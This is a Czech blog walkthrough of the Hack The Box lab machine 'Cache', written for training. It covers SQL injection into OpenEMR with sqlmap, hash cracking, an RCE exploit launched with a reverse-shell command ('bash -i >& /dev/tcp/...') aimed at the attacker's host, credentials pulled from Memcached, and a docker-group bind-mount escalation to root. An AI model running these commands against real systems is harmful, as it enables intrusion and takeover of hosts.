tom@home.htb:~$

Blog o HTB

15 November 2020

Cache

Úvod a kontext

Cache je pěkný příklad řetězce postaveného na reuse hesel mezi webem, aplikací a lokálními službami. Veřejný web sám o sobě nevypadá dramaticky, ale v functionality.js unikne heslo uživatele ash a vedle hlavního webu se objeví i hms.htb s OpenEMR.

Skutečný foothold pak nevznikne z jednoho nálezu, ale z jejich kombinace. SQL injection v OpenEMR vrátí hash účtu openemr_admin, exploit otevře webshell a heslo z JavaScriptu dovolí přepnout se na ash. Root část je potom založená na lokálním Memcached a členství v docker skupině, ne na samostatné vzdálené zranitelnosti.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml,htm,html -u http://cache.htb
news.html (Status: 200)
/author.html (Status: 200)
/login.html (Status: 200)
/javascript (Status: 301)
/index.html (Status: 200)
/jquery (Status: 301)
/contactus.html (Status: 200)
/net.html (Status: 200)
/server-status (Status: 403)

Heslo v JavaScriptu a vedlejší vhost

Na první pohled jde o statický web, ale /jquery/functionality.js vrátí přihlašovací údaj ash:H@v3_fun. Současně další odkazy ukážou na hms.htb, kde běží OpenEMR. To je důležitý rozhodovací moment: heslo z JavaScriptu zatím samo o sobě negarantuje shell, ale výrazně zvyšuje pravděpodobnost reuse a dává smysl hledat druhý vstup právě tam.

http://cache.htb/jquery/functionality.js
=> ash:H@v3_fun

http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=1

Analýza zjištění

SQL injection v OpenEMR

Registrace do portálu vystačí na získání PHPSESSID, a to už stačí k útoku na plánovací endpoint find_appt_popup_user.php. Přes sqlmap jde vypsat tabulku users_secure a získat bcrypt hash účtu openemr_admin.

sqlmap "http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=1" --cookie="PHPSESSID=aadbaaitgfm6v1ddul7brldsou" --threads=10 -D openemr -T users_secure --dump
id,salt,password,username,last_update,salt_history1,salt_history2,password_history1,password_history2
1,$2a$05$l2sTLIG6GTBeyBf7TAKL6A$,$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.,openemr_admin,2019-11-21 06:38:40,NULL,NULL,NULL,NULL

Prolomení hash účtu openemr_admin

U bcrypt hashe už má smysl offline crack jen proto, že výsledkem je administrátorský účet do OpenEMR. Tady právě tenhle mezikrok odemyká následné RCE.

/usr/sbin/john Cache-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
=>xxxxxx

Přílohy

4202252.jpg

Získání přístupu

OpenEMR RCE a přechod na ash

Po přihlášení do OpenEMR jde použít známý exploit na verze < 5.0.1 Patch 4, který upraví globální konfiguraci a spustí zadaný příkaz na serveru. Webshell je ale jen mezikrok. Protože heslo z functionality.js funguje i pro lokální účet ash, dává smysl rychle přejít na běžný shell a další průzkum dělat tam.

python Cache-exploit.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.8/4000 0>&1'
python3 -c 'import pty; pty.spawn("/bin/bash")'
su ash

Získání user flagu

user.txt v tomhle případě potvrzuje hlavně dvě věci: OpenEMR exploit skutečně vedl mimo webový kontext a heslo z JavaScriptu bylo reuseované i pro systémový účet.

cat user.txt
__CENSORED__

Eskalace oprávnění

Memcached a účet luffy

Lokální enumerace rychle ukáže Memcached na 11211/tcp. Obsah cache tu není nezajímavý provozní balast, ale přímý zdroj dalšího hesla. Klíče user a passwd vrátí účet luffy a heslo 0n3_p1ec3.

telnet localhost 11211
get user
get passwd
VALUE user 0 5
luffy
END
VALUE passwd 0 9
0n3_p1ec3
END

Docker group a root

Po přepnutí na luffy už nejde o další tajemství, ale o oprávnění. Účet je členem skupiny docker, takže stačí spustit kontejner s bind mountem / a přes chroot vstoupit do host filesystemu jako root.

su luffy
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
cat /root/root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - java - exploit - enumeration